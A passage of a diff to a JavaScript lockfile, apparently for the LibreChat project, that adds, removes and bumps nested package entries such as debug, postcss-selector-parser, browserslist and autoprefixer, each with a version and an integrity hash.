"sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="], - - "librechat-data-provider/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="], - - "librechat-data-provider/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="], + "librechat-data-provider/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="], "lint-staged/chalk": ["chalk@5.4.1", "", {}, "sha512-zgVZuo2WcZgfUEmsn6eO3kINexW8RAE4maiQ8QNs8CtpPCSyMiYsULR3HQYkm3w8FIA3SberyMJMSldGsW+U3w=="], + "lint-staged/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "log-update/ansi-escapes": ["ansi-escapes@7.0.0", "", { "dependencies": { "environment": "^1.0.0" } }, "sha512-GdYO7a61mR0fOlAsvC9/rIHf7L96sBc6dEWzeOu+KAea5bZyQRPIpojrVoI4AXGJS/ycu/fBTdLrUkA4ODrvjw=="], "log-update/slice-ansi": ["slice-ansi@7.1.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "is-fullwidth-code-point": "^5.0.0" } }, "sha512-bSiSngZ/jWeX93BqeIAbImyTbEihizcwNjFoRUIY/T1wWQsfsm2Vw1agPKylXvQTU7iASGdHhyqRlqQzfz+Htg=="], @@ -6027,30 +6251,50 @@ "lru-memoizer/lru-cache": ["lru-cache@6.0.0", "", { "dependencies": { "yallist": "^4.0.0" } }, "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA=="], - "mathjs/fraction.js": ["fraction.js@5.3.4", "", {}, "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ=="], - "mdast-util-find-and-replace/escape-string-regexp": ["escape-string-regexp@5.0.0", "", {}, "sha512-/veY75JbMK4j1yjvuUxuVsiS/hr/4iHs9FTT6cgTexxdE0Ly/glccBAkloH/DofkjRbZU3bnoj38mOmhkZ0lHw=="], "mdast-util-math/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="], "mdast-util-mdx-jsx/unist-util-remove-position": ["unist-util-remove-position@5.0.0", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-visit": "^5.0.0" } }, "sha512-Hp5Kh3wLxv0PHj9m2yZhhLt58KzPtEYKQQ4yxfYFEO7EvHwzyDYnduhHnY1mDxoqr7VUwVuHXk9RXKIiYS1N8Q=="], + "memorystore/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "mermaid/dayjs": ["dayjs@1.11.19", "", {}, "sha512-t5EcLVS6QPBNqM2z8fakk/NKel+Xzshgt8FFKAn+qwlD1pzZWxh0nVCrvFK7ZDb6XucZeF9z8C7CBWTRIVApAw=="], + + "mermaid/marked": ["marked@16.4.2", "", { "bin": { "marked": "bin/marked.js" } }, "sha512-TI3V8YYWvkVf3KJe1dRkpnjs68JUPyEa5vjKrp1XEEJUAOaQc+Qj+L1qWbPd0SJuAdQkFU0h73sXXqwDYxsiDA=="], + + "mermaid/uuid": ["uuid@11.1.0", "", { "bin": "dist/esm/bin/uuid" }, "sha512-0/A9rDy9P7cJ+8w1c9WD9V//9Wj15Ce2MPz8Ri6032usz+NfePxx5AcN3bN+r6ZL6jEo066/yNYB3tn4pQEx+A=="], + + "micromark/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "micromatch/picomatch": ["picomatch@2.3.1", "", {}, "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA=="], "miller-rabin/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="], + "mlly/acorn": ["acorn@8.16.0", "", { "bin": { "acorn": "bin/acorn" } }, "sha512-UVJyE9MttOsBQIDKw1skb9nAwQuR5wuGD3+82K6JgJlm/Y+KI92oNsMNGZCYdDsVtRHSak0pcV5Dno5+4jh9sw=="], + + "monaco-editor/dompurify": ["dompurify@3.2.7", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-WhL/YuveyGXJaerVlMYGWhvQswa7myDG17P7Vu65EWC05o8vfeNbvNf4d/BOvH99+ZW+LlQsc1GDKMa1vNK6dw=="], + "mongodb-connection-string-url/whatwg-url": ["whatwg-url@14.2.0", "", { "dependencies": { "tr46": "^5.1.0", "webidl-conversions": "^7.0.0" } }, "sha512-De72GdQZzNTUBBChsXueQUnPKDkg/5A5zp7pFDuQAj5UFoENpiACU0wlCvzpAGnTkj++ihpKwKyYewn/XNUbKw=="], + "mongodb-memory-server-core/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "mongodb-memory-server-core/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], - "multer/mkdirp": ["mkdirp@0.5.6", "", { "dependencies": { "minimist": "^1.2.6" }, "bin": "bin/cmd.js" }, "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw=="], + "mquery/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], "multer/type-is": ["type-is@1.6.18", "", { "dependencies": { "media-typer": "0.3.0", "mime-types": "~2.1.24" } }, "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g=="], + "new-find-package-json/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "node-stdlib-browser/buffer": ["buffer@5.7.1", "", { "dependencies": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" } }, "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ=="], "node-stdlib-browser/pkg-dir": ["pkg-dir@5.0.0", "", { "dependencies": { "find-up": "^5.0.0" } }, "sha512-NPE8TDbzl/3YQYY7CSS228s3g2ollTFnc+Qi3tqmqJp9Vg2ovUpixcJEo2HJScN2Ez+kEaal6y70c0ehqJBJeA=="], + "nodemon/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "nodemon/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], + "nodemon/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], "npm-run-path/path-key": ["path-key@4.0.0", "", {}, "sha512-haREypq7xkM7ErfgIyA0z+Bj4AGKlMSdlQE2jvJo6huWD1EdkKYV+G/T4nq0YEF2vgTT8kqMFKo1uHn950r4SQ=="], @@ -6073,18 +6317,26 @@ "playwright/fsevents": ["fsevents@2.3.2", "", { "os": "darwin" }, "sha512-xiqMQR4xAeHTuB9uWm+fFRcIOgKBMiOBP+eXiyT7jsgVCq1bkVygt00oASowB7EdtpOHaaPgKt812P9ab+DDKA=="], + "postcss-attribute-case-insensitive/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + "postcss-colormin/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], "postcss-convert-values/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "postcss-custom-selectors/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + + "postcss-dir-pseudo-class/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + + "postcss-focus-visible/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + + "postcss-focus-within/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + "postcss-import/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="], "postcss-load-config/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="], "postcss-load-config/yaml": ["yaml@1.10.2", "", {}, "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg=="], - "postcss-loader/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], - "postcss-merge-rules/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], "postcss-minify-params/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], @@ -6093,20 +6345,28 @@ "postcss-modules-scope/postcss-selector-parser": ["postcss-selector-parser@7.1.0", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA=="], + "postcss-nesting/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + "postcss-normalize-unicode/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], - "postcss-preset-env/autoprefixer": ["autoprefixer@10.4.17", "", { "dependencies": { "browserslist": "^4.22.2", "caniuse-lite": "^1.0.30001578", "fraction.js": "^4.3.7", "normalize-range": "^0.1.2", "picocolors": "^1.0.0", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": "bin/autoprefixer" }, "sha512-/cpVNRLSfhOtcGflT13P2794gVSgmPgTR+erw5ifnMLZb0UnSlkK4tquLmkd3BhA+nLo5tX8Cu0upUsGKvKbmg=="], + "postcss-preset-env/autoprefixer": ["autoprefixer@10.4.27", "", { "dependencies": { "browserslist": "^4.28.1", "caniuse-lite": "^1.0.30001774", "fraction.js": "^5.3.4", "picocolors": "^1.1.1", "postcss-value-parser": "^4.2.0" }, "peerDependencies": { "postcss": "^8.1.0" }, "bin": { "autoprefixer": "bin/autoprefixer" } }, "sha512-NP9APE+tO+LuJGn7/9+cohklunJsXWiaWEfV3si4Gi/XHDwVNgkwr1J3RQYFIvPy76GmJ9/bW8vyoU1LcxwKHA=="], - "postcss-preset-env/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "postcss-preset-env/browserslist": ["browserslist@4.28.1", "", { "dependencies": { "baseline-browser-mapping": "^2.9.0", "caniuse-lite": "^1.0.30001759", "electron-to-chromium": "^1.5.263", "node-releases": "^2.0.27", "update-browserslist-db": "^1.2.0" }, "bin": { "browserslist": "cli.js" } }, "sha512-ZC5Bd0LgJXgwGqUknZY/vkUQ04r8NXnJZ3yYi4vDmSiZmC/pdSN0NbNRPxZpbtO4uAfDUAFffO8IZoM3Gj8IkA=="], + + "postcss-pseudo-class-any-link/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], "postcss-reduce-initial/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="], + "postcss-selector-not/postcss-selector-parser": ["postcss-selector-parser@7.1.1", "", { "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" } }, "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg=="], + "pretty-format/@jest/schemas": ["@jest/schemas@29.6.3", "", { "dependencies": { "@sinclair/typebox": "^0.27.8" } }, "sha512-mo5j5X+jIZmJQveBKeS/clAueipV7KgiX1vMgCxam1RNYiqE1w62n0/tJJnHtjW8ZHcQco5gY85jA3mi0L+nSA=="], "pretty-format/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], "prop-types/react-is": ["react-is@16.13.1", "", {}, "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ=="], + "protobufjs/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="], + "public-encrypt/bn.js": ["bn.js@4.12.2", "", {}, "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw=="], "rc-util/react-is": ["react-is@18.3.1", "", {}, "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg=="], @@ -6133,6 +6393,8 @@ "remark-supersub/unist-util-visit": ["unist-util-visit@4.1.2", "", { "dependencies": { "@types/unist": "^2.0.0", "unist-util-is": "^5.0.0", "unist-util-visit-parents": "^5.1.1" } }, "sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg=="], + "require-in-the-middle/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "resolve-cwd/resolve-from": ["resolve-from@5.0.0", "", {}, "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw=="], "restore-cursor/onetime": ["onetime@7.0.0", "", { "dependencies": { "mimic-function": "^5.0.0" } }, "sha512-VXJjc87FScF88uafS3JllDgvAm+c/Slfz06lorj2uAY34rlUu0Nt+v8wreiImcrgAjjIHp1rXpTDlLOGw29WwQ=="], @@ -6147,7 +6409,9 @@ "rollup-pluginutils/estree-walker": ["estree-walker@0.6.1", "", {}, "sha512-SqmZANLWS0mnatqbSfRP5g8OXZC12Fgg1IwNtLsyHDzJizORW4khDfjPqJZsemPWBB2uqykUah5YpQ6epsqC/w=="], - "schema-utils/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="], + "router/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "send/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], "sharp/semver": ["semver@7.7.3", "", { "bin": "bin/semver.js" }, "sha512-SdsKMrI9TdgjdweUSR9MweHA4EJ8YxHn8DFaDisvhVlUOe4BF1tLD7GAj0lIqWVl+dPb/rExr0Btby5loQm20Q=="], @@ -6173,6 +6437,8 @@ "sucrase/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="], + "superagent/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + "superagent/mime": ["mime@2.6.0", "", { "bin": "cli.js" }, "sha512-USPkMeET31rOMiarsBNIHZKLGgvKc/LrjofAnBlOttf5ajRvqiRA8QsenbcooctK6d6Ts6aqZXBA+XbkKthiQg=="], "superagent/qs": ["qs@6.13.0", "", { "dependencies": { "side-channel": "^1.0.6" } }, "sha512-+38qI9SOr8tfZ4QmJNplMUxqjbe7LKvvZgWdExBOmd+egZTtjLB67Gu0HRX3u/XOq7UU2Nx6nsjvS16Z9uwfpg=="], @@ -6181,6 +6447,10 @@ "svgo/css-select": ["css-select@4.3.0", "", { "dependencies": { "boolbase": "^1.0.0", "css-what": "^6.0.1", "domhandler": "^4.3.1", "domutils": "^2.8.0", "nth-check": "^2.0.1" } }, "sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ=="], + "svgo/sax": ["sax@1.5.0", "", {}, "sha512-21IYA3Q5cQf089Z6tgaUTr7lDAyzoTPx5HRtbhsME8Udispad8dC/+sziTNugOEx54ilvatQ9YCzl4KQLPcRHA=="], + + "swr/use-sync-external-store": ["use-sync-external-store@1.6.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w=="], + "tailwindcss/arg": ["arg@5.0.2", "", {}, "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="], "tailwindcss/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="], @@ -6193,17 +6463,9 @@ "terser/commander": ["commander@2.20.3", "", {}, "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="], - "terser-webpack-plugin/@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, "sha512-zzNR+SdQSDJzc8joaeP8QQoCQr8NuYx2dIIytl1QeBEZHJ9uW6hebsrYgbz8hJwUQao3TWCMtmfV8Nu1twOLAw=="], - - "terser-webpack-plugin/jest-worker": ["jest-worker@27.5.1", "", { "dependencies": { "@types/node": "*", "merge-stream": "^2.0.0", "supports-color": "^8.0.0" } }, "sha512-7vuh85V5cdDofPyxn58nrPjBktZo0u9x1g8WtjQol+jZDaE+fhN+cIvTj11GndBnMnyfrUOG1sZQxCdjKh+DKg=="], - "test-exclude/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="], - "tinyglobby/fdir": ["fdir@6.4.4", "", { "peerDependencies": { "picomatch": "^3 || ^4" } }, "sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg=="], - - "tinyglobby/picomatch": ["picomatch@4.0.2", "", {}, "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg=="], - - "ts-node/diff": ["diff@4.0.2", "", {}, "sha512-58lmxKSA4BNyLz+HHMUzlOEpg09FV+ev6ZMe3vJihgdxzgcwZ8VoEEPmALCZG9LmqfVoNMMKpttIYTVG6uDY7A=="], + "test-exclude/minimatch": ["minimatch@3.1.2", "", { "dependencies": { "brace-expansion": "^1.1.7" } }, "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw=="], "tsconfig-paths/json5": ["json5@1.0.2", "", { "dependencies": { "minimist": "^1.2.0" }, "bin": "lib/cli.js" }, "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA=="], @@ -6225,19 +6487,19 @@ "vasync/verror": ["verror@1.10.0", "", { "dependencies": { "assert-plus": "^1.0.0", "core-util-is": "1.0.2", "extsprintf": "^1.2.0" } }, 